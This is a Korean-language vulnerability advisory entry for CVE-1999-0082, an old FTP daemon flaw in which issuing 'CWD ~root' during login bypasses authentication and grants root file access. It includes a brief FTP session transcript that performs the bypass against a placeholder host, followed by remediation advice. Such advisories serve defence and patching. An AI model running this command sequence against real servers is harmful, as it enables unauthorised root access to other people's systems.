English
◀◁ 뒤로
취약점ID 16037
위험도 40
포트 21
프로토콜 TCP
분류 FTP
상세설명 해당 FTP 서버에 있는 CWD ~root 명령은 root 액세스를 허용한다. FTP 데몬의 매우 오래된 버전들은 원격지의 사용자들에게 "CWD ~root" 명령의 사용에 의한 인가되지 않은 액세스를 허용해 줄 수 있다. "CWD ~root" 명령을 포함하는 일련의 명령들을 줌으로써 공격자는 취약한 FTP 서버상에 인증을 우회하고 root 권한을 획득할 수 있으며 이를 통해 root 권한을 가지고 FTP Root 디렉토리 외부의 임의의 파일들을 액세스할 수 있다.
광범위하게 도용되어 온 이 취약점을 확인하기 위해서는 다음과 같이 할 수 있다:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
Ftp> quote user ftp
331 Guest login ok, send ident as password.
Ftp> quote cwd ~root
530 Please login with USER and PASS.
Ftp> quote pass ftp@
230 Guest login ok, access restrictions apply.
Ftp> ls -al / (or whatever)

* 참고 사이트:
http://www.iss.net/security_center/static/54.php
http://www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html

* 영향을 미치는 플랫폼:
FTP 모든 버전
해결책 취약한 FTP 대몬을 최신의 FTP 패키지로 대체하여야 한다.

또한 이 공격에 취약한 FTP 대몬들은 구 버전의 운영체제를 가지고 있을 것이다. 하드웨어가 지원해 주는 범위내에서 가장 최신의 운영체제로 업그레이드하는 방안도 고려하여야 한다.
관련 URL CVE-1999-0082 (CVE)
관련 URL (SecurityFocus)
관련 URL (ISS)